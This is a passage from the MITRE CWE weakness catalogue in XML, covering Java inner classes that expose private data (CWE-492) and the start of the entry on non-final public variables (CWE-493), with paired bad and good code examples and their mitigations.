					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Object
						Hijack</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Public cloneable() Method
						Without Final (aka 'Object Hijack')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="492" Name="Use of Inner Class Containing Sensitive Data" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>Inner classes are translated into classes that are accessible
					at package scope and may expose code that the programmer intended to keep
					private to attackers.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Inner classes quietly introduce several security concerns because of the
						way they are translated into Java bytecode. In Java source code, it appears
						that an inner class can be declared to be accessible only by the enclosing
						class, but Java bytecode has no concept of an inner class, so the compiler
						must transform an inner class declaration into a peer class with package
						level access to the original outer class. More insidiously, since an inner
						class can access private fields in their enclosing class, once an inner
						class becomes a peer class in bytecode, the compiler converts private fields
						accessed by the inner class into protected fields.</Text>
					          <Text>Mobile code, in this case a Java Applet, is code that is transmitted
						across a network and executed on a remote machine. Because mobile code
						developers have little if any control of the environment in which their code
						will execute, special security concerns become relevant. One of the biggest
						environmental threats results from the risk that the mobile code will run
						side-by-side with other, potentially malicious, mobile code. Because all of
						the popular web browsers execute code from multiple sources together in the
						same JVM, many of the security guidelines for mobile code are focused on
						preventing manipulation of your objects' state and behavior by adversaries
						who have access to the same virtual machine where your program is
						running.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>"Inner Classes" data confidentiality aspects can often be
							overcome.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Using sealed classes protects object-oriented encapsulation paradigms
							and therefore protects code from being extended in unforeseen
							ways.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Inner Classes do not provide security. Warning: Never reduce the
							security of the object from an outer class, going to an inner class. If
							an outer class is final or private, ensure that its inner class is
							private as well.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java Applet code mistakenly makes use of an inner
						class.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public final class urlTool extends Applet {</Code>
							              <Block>
								                <Code>private final class urlHelper {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following example shows a basic use of inner classes. The class
						OuterClass contains the private member inner class InnerClass. The private
						inner class InnerClass includes the method concat that accesses the private
						member variables of the class OuterClass to output the value of one of the
						private member variables of the class OuterClass and returns a string that
						is a concatenation of one of the private member variables of the class
						OuterClass, the separator input parameter of the method and the private
						member variable of the class InnerClass.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class OuterClass {</Code>
							              <Block>
								                <Code/>
								                <Comment>// private member variables of OuterClass</Comment>
								                <Code>private String memberOne;</Code>
								                <Code>private String memberTwo;</Code>
								                <Code/>
								                <Comment>// constructor of OuterClass</Comment>
								                <Code>public OuterClass(String varOne, String varTwo) {</Code>
								                <Block>
									                  <Code>this.memberOne = varOne;</Code>
									                  <Code>this.memberTwo = varTwo;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// InnerClass is a member inner class of
									OuterClass</Comment>
								                <Code>private class InnerClass {</Code>
								                <Block>
									                  <Code>private String innerMemberOne;</Code>
									                  <Code/>
									                  <Code>public InnerClass(String innerVarOne) {</Code>
									                  <Block>
										                    <Code>this.innerMemberOne = innerVarOne;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>public String concat(String separator) {</Code>
									                  <Block>
										                    <Comment>// InnerClass has access to private member
											variables of OuterClass</Comment>
										                    <Code>System.out.println("Value of memberOne is: " +
											memberOne);</Code>
										                    <Code>return OuterClass.this.memberTwo + separator +
											this.innerMemberOne;</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
						            </Block>
						            <Text>Although this is an acceptable use of inner classes it demonstrates
							one of the weaknesses of inner classes that inner classes have complete
							access to all member variables and methods of the enclosing class even
							those that are declared private and protected. When inner classes are
							compiled and translated into Java bytecode the JVM treats the inner
							class as a peer class with package level access to the enclosing
							class.</Text>
						            <Text>To avoid this weakness of inner classes, consider using either static
							inner classes, local inner classes, or anonymous inner classes. </Text>
						            <Text>The following Java example demonstrates the use of static inner
							classes using the previous example. The inner class InnerClass is
							declared using the static modifier that signifies that InnerClass is a
							static member of the enclosing class OuterClass. By declaring an inner
							class as a static member of the enclosing class, the inner class can
							only access other static members and methods of the enclosing class and
							prevents the inner class from accessing nonstatic member variables and
							methods of the enclosing class. In this case the inner class InnerClass
							can only access the static member variable memberTwo of the enclosing
							class OuterClass but cannot access the nonstatic member variable
							memberOne.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class OuterClass {</Code>
							              <Code/>
							              <Block>
								                <Comment>// private member variables of OuterClass</Comment>
								                <Code>private String memberOne;</Code>
								                <Code>private static String memberTwo;</Code>
								                <Code/>
								                <Comment>// constructor of OuterClass</Comment>
								                <Code>public OuterClass(String varOne, String varTwo) {</Code>
								                <Code/>
								                <Block>
									                  <Code>this.memberOne = varOne;</Code>
									                  <Code>this.memberTwo = varTwo;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// InnerClass is a static inner class of
									OuterClass</Comment>
								                <Code>private static class InnerClass {</Code>
								                <Block>
									                  <Code/>
									                  <Code>private String innerMemberOne;</Code>
									                  <Code/>
									                  <Code>public InnerClass(String innerVarOne) {</Code>
									                  <Block>
										                    <Code>this.innerMemberOne = innerVarOne;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>public String concat(String separator) {</Code>
									                  <Block>
										                    <Code/>
										                    <Comment>// InnerClass only has access to static member
											variables of OuterClass</Comment>
										                    <Code>return memberTwo + separator +
											this.innerMemberOne;</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The only limitation with using a static inner class is that as a
							static member of the enclosing class the inner class does not have a
							reference to instances of the enclosing class. For many situations this
							may not be ideal. An alternative is to use a local inner class or an
							anonymous inner class as shown in the next examples.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example the BankAccount class contains the private
						member inner class InterestAdder that adds interest to the bank account
						balance. The start method of the BankAccount class creates an object of the
						inner class InterestAdder, the InterestAdder inner class implements the
						ActionListener interface with the method actionPerformed. A Timer object
						created within the start method of the BankAccount class invokes the
						actionPerformed method of the InterestAdder class every 30 days to add the
						interest to the bank account balance based on the interest rate passed to
						the start method as an input parameter. The inner class InterestAdder needs
						access to the private member variable balance of the BankAccount class in
						order to add the interest to the bank account balance. </Intro_Text>
					          <Example_Body>
						            <Text> However as demonstrated in the previous example, because
							InterestAdder is a non-static member inner class of the BankAccount
							class, InterestAdder also has access to the private member variables of
							the BankAccount class - including the sensitive data contained in the
							private member variables for the bank account owner's name, Social
							Security number, and the bank account number. </Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Comment>// private member variables of BankAccount class</Comment>
								                <Code>private String accountOwnerName;</Code>
								                <Code>private String accountOwnerSSN;</Code>
								                <Code>private int accountNumber;</Code>
								                <Code>private double balance;</Code>
								                <Code/>
								                <Comment>// constructor for BankAccount class</Comment>
								                <Code>public BankAccount(String accountOwnerName, String
									accountOwnerSSN,</Code>
								                <Code>int accountNumber, double initialBalance, int
									initialRate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>this.accountOwnerName = accountOwnerName;</Code>
									                  <Code>this.accountOwnerSSN = accountOwnerSSN;</Code>
									                  <Code>this.accountNumber = accountNumber;</Code>
									                  <Code>this.balance = initialBalance;</Code>
									                  <Code>this.start(initialRate);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// start method will add interest to balance every 30
									days</Comment>
								                <Comment>// creates timer object and interest adding action listener
									object</Comment>
								                <Code>public void start(double rate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>ActionListener adder = new InterestAdder(rate);</Code>
									                  <Code>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);</Code>
									                  <Code>t.start();</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// InterestAdder is an inner class of BankAccount
									class</Comment>
								                <Comment>// that implements the ActionListener interface</Comment>
								                <Code>private class InterestAdder implements ActionListener</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>private double rate;</Code>
									                  <Code/>
									                  <Code>public InterestAdder(double aRate)</Code>
									                  <Code>{</Code>
									                  <Block>
										                    <Code>this.rate = aRate;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
									                  <Code>public void actionPerformed(ActionEvent event)</Code>
									                  <Code>{</Code>
									                  <Block>
										                    <Comment>// update interest</Comment>
										                    <Code>double interest = BankAccount.this.balance * rate /
											100;</Code>
										                    <Code>BankAccount.this.balance += interest;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>In the following example the InterestAdder class from the above
							example is declared locally within the start method of the BankAccount
							class. As a local inner class InterestAdder has its scope restricted to
							the method (or enclosing block) where it is declared, in this case only
							the start method has access to the inner class InterestAdder, no other
							classes including the enclosing class has knowledge of the inner class
							outside of the start method. This allows the inner class to access
							private member variables of the enclosing class but only within the
							scope of the enclosing method or block.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code/>
								                <Comment>// private member variables of BankAccount class</Comment>
								                <Code>private String accountOwnerName;</Code>
								                <Code>private String accountOwnerSSN;</Code>
								                <Code>private int accountNumber;</Code>
								                <Code>private double balance;</Code>
								                <Code/>
								                <Comment>// constructor for BankAccount class</Comment>
								                <Code>public BankAccount(String accountOwnerName, String
									accountOwnerSSN,</Code>
								                <Code>int accountNumber, double initialBalance, int
									initialRate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>this.accountOwnerName = accountOwnerName;</Code>
									                  <Code>this.accountOwnerSSN = accountOwnerSSN;</Code>
									                  <Code>this.accountNumber = accountNumber;</Code>
									                  <Code>this.balance = initialBalance;</Code>
									                  <Code>this.start(initialRate);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// start method will add interest to balance every 30
									days</Comment>
								                <Comment>// creates timer object and interest adding action listener
									object</Comment>
								                <Code>public void start(final double rate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Comment>// InterestAdder is a local inner class</Comment>
									                  <Comment>// that implements the ActionListener
										interface</Comment>
									                  <Code>class InterestAdder implements ActionListener</Code>
									                  <Code>{</Code>
									                  <Block>
										                    <Code>public void actionPerformed(ActionEvent event)</Code>
										                    <Code>{</Code>
										                    <Block>
											                      <Comment>// update interest</Comment>
											                      <Code>double interest = BankAccount.this.balance * rate
												/ 100;</Code>
											                      <Code>BankAccount.this.balance += interest;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>ActionListener adder = new InterestAdder();</Code>
									                  <Code>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);</Code>
									                  <Code>t.start();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>A similar approach would be to use an anonymous inner class as
							demonstrated in the next example. An anonymous inner class is declared
							without a name and creates only a single instance of the inner class
							object. As in the previous example the anonymous inner class has its
							scope restricted to the start method of the BankAccount class.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Comment>// private member variables of BankAccount class</Comment>
								                <Code>private String accountOwnerName;</Code>
								                <Code>private String accountOwnerSSN;</Code>
								                <Code>private int accountNumber;</Code>
								                <Code>private double balance;</Code>
								                <Code/>
								                <Comment>// constructor for BankAccount class</Comment>
								                <Code>public BankAccount(String accountOwnerName, String
									accountOwnerSSN,</Code>
								                <Code>int accountNumber, double initialBalance, int
									initialRate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>this.accountOwnerName = accountOwnerName;</Code>
									                  <Code>this.accountOwnerSSN = accountOwnerSSN;</Code>
									                  <Code>this.accountNumber = accountNumber;</Code>
									                  <Code>this.balance = initialBalance;</Code>
									                  <Code>this.start(initialRate);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// start method will add interest to balance every 30
									days</Comment>
								                <Comment>// creates timer object and interest adding action listener
									object</Comment>
								                <Code>public void start(final double rate)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Comment>// anonymous inner class that implements the
										ActionListener interface</Comment>
									                  <Code>ActionListener adder = new ActionListener()</Code>
									                  <Code>{</Code>
									                  <Block>
										                    <Code>public void actionPerformed(ActionEvent event)</Code>
										                    <Code>{</Code>
										                    <Block>
											                      <Comment>// update interest</Comment>
											                      <Comment>double interest = BankAccount.this.balance *
												rate / 100;</Comment>
											                      <Code>BankAccount.this.balance += interest;</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>};</Code>
									                  <Code/>
									                  <Code>Timer t = new Timer(1000 * 3600 * 24 * 30, adder);</Code>
									                  <Code>t.start();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example a simple applet provides the
						capability for a user to input a URL into a text field and have the URL
						opened in a new browser window. The applet contains an inner class that is
						an action listener for the submit button, when the user clicks the submit
						button the inner class action listener's actionPerformed method will open
						the URL entered into the text field in a new browser window. As with the
						previous examples using inner classes in this manner creates a security risk
						by exposing private variables and methods. Inner classes create an
						additional security risk with applets as applets are executed on a remote
						machine through a web browser within the same JVM and therefore may run
						side-by-side with other potentially malicious code.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code>public class UrlToolApplet extends Applet {</Code>
							              <Block>
								                <Code/>
								                <Comment>// private member variables for applet components</Comment>
								                <Code>private Label enterUrlLabel;</Code>
								                <Code>private TextField enterUrlTextField;</Code>
								                <Code>private Button submitButton;</Code>
								                <Code/>
								                <Comment>// init method that adds components to applet</Comment>
								                <Comment>// and creates button listener object</Comment>
								                <Code>public void init() {</Code>
								                <Block>
									                  <Code>setLayout(new FlowLayout());</Code>
									                  <Code>enterUrlLabel = new Label("Enter URL: ");</Code>
									                  <Code>enterUrlTextField = new TextField("", 20);</Code>
									                  <Code>submitButton = new Button("Submit");</Code>
									                  <Code>add(enterUrlLabel);</Code>
									                  <Code>add(enterUrlTextField);</Code>
									                  <Code>add(submitButton);</Code>
									                  <Code>ActionListener submitButtonListener = new
										SubmitButtonListener();</Code>
									                  <Code>submitButton.addActionListener(submitButtonListener);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// button listener inner class for UrlToolApplet
									class</Comment>
								                <Code>private class SubmitButtonListener implements ActionListener
									{</Code>
								                <Block>
									                  <Code>public void actionPerformed(ActionEvent evt) {</Code>
									                  <Block>
										                    <Code>if (evt.getSource() == submitButton) {</Code>
										                    <Block>
											                      <Code>String urlString =
												enterUrlTextField.getText();</Code>
											                      <Code>URL url = null;</Code>
											                      <Code>try {</Code>
											                      <Block>
												                        <Code>url = new URL(urlString);</Code>
											                      </Block>
											                      <Code>} catch (MalformedURLException e) {</Code>
											                      <Block>
												                        <Code>System.err.println("Malformed URL: " +
												urlString);</Code>
											                      </Block>
											                      <Code>}</Code>
											                      <Code>if (url != null) {</Code>
											                      <Block>
												                        <Code>getAppletContext().showDocument(url);</Code>
											                      </Block>
											                      <Code>}</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>As with the previous examples a solution to this problem would be to
							use a static inner class, a local inner class or an anonymous inner
							class. An alternative solution would be to have the applet implement the
							action listener rather than using it as an inner class as shown in the
							following example.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class UrlToolApplet extends Applet implements
								ActionListener {</Code>
							              <Block>
								                <Comment>// private member variables for applet components</Comment>
								                <Code>private Label enterUrlLabel;</Code>
								                <Code>private TextField enterUrlTextField;</Code>
								                <Code>private Button submitButton;</Code>
								                <Code/>
								                <Comment>// init method that adds components to applet</Comment>
								                <Code>public void init() {</Code>
								                <Block>
									                  <Code>setLayout(new FlowLayout());</Code>
									                  <Code>enterUrlLabel = new Label("Enter URL: ");</Code>
									                  <Code>enterUrlTextField = new TextField("", 20);</Code>
									                  <Code>submitButton = new Button("Submit");</Code>
									                  <Code>add(enterUrlLabel);</Code>
									                  <Code>add(enterUrlTextField);</Code>
									                  <Code>add(submitButton);</Code>
									                  <Code>submitButton.addActionListener(this);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// implementation of actionPerformed method of
									ActionListener interface</Comment>
								                <Code>public void actionPerformed(ActionEvent evt) {</Code>
								                <Block>
									                  <Code>if (evt.getSource() == submitButton) {</Code>
									                  <Block>
										                    <Code>String urlString = enterUrlTextField.getText();</Code>
										                    <Code>URL url = null;</Code>
										                    <Code>try {</Code>
										                    <Block>
											                      <Code>url = new URL(urlString);</Code>
										                    </Block>
										                    <Code>} catch (MalformedURLException e) {</Code>
										                    <Block>
											                      <Code>System.err.println("Malformed URL: " +
												urlString);</Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code>if (url != null) {</Code>
										                    <Block>
											                      <Code>getAppletContext().showDocument(url);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Mobile Code: Use of Inner Class</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Publicizing of private data when using inner
						classes</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not expose private members of an outer class from within a
						nested class</Mapped_Node_Name>
					          <Mapped_Node_ID>OBJ08-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Mobile Code: Use of Inner
						Class</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="493" Name="Critical Public Variable Without Final Modifier" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The product has a critical public variable that is not final,
					which allows the variable to be modified to contain unexpected
					values.</Description_Summary>
				        <Extended_Description>
					          <Text>If a field is non-final and public, it can be changed once the value is
						set by any function that has access to the class which contains the field.
						This could lead to a vulnerability if other parts of the program make
						assumptions about the contents of that field.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>216</Relationship_Target_ID>
					          <!--Containment Errors (Container Errors)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>490</Relationship_Target_ID>
					          <!--Mobile Code Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>849</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 04 - Object Orientation (OBJ)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>897</Relationship_Target_ID>
					          <!--SFP Cluster: Entry Points-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Mobile code, such as a Java Applet, is code that is transmitted across a
						network and executed on a remote machine. Because mobile code developers
						have little if any control of the environment in which their code will
						execute, special security concerns become relevant. One of the biggest
						environmental threats results from the risk that the mobile code will run
						side-by-side with other, potentially malicious, mobile code. Because all of
						the popular web browsers execute code from multiple sources together in the
						same JVM, many of the security guidelines for mobile code are focused on
						preventing manipulation of your objects' state and behavior by adversaries
						who have access to the same virtual machine where your program is
						running.</Text>
				        </Background_Detail>
				        <Background_Detail>
					          <Text>Final provides security by only allowing non-mutable objects to be changed
						after being set. However, only objects which are not extended can be made
						final.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The object could potentially be tampered with.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The object could potentially allow the object to be read.</Text>
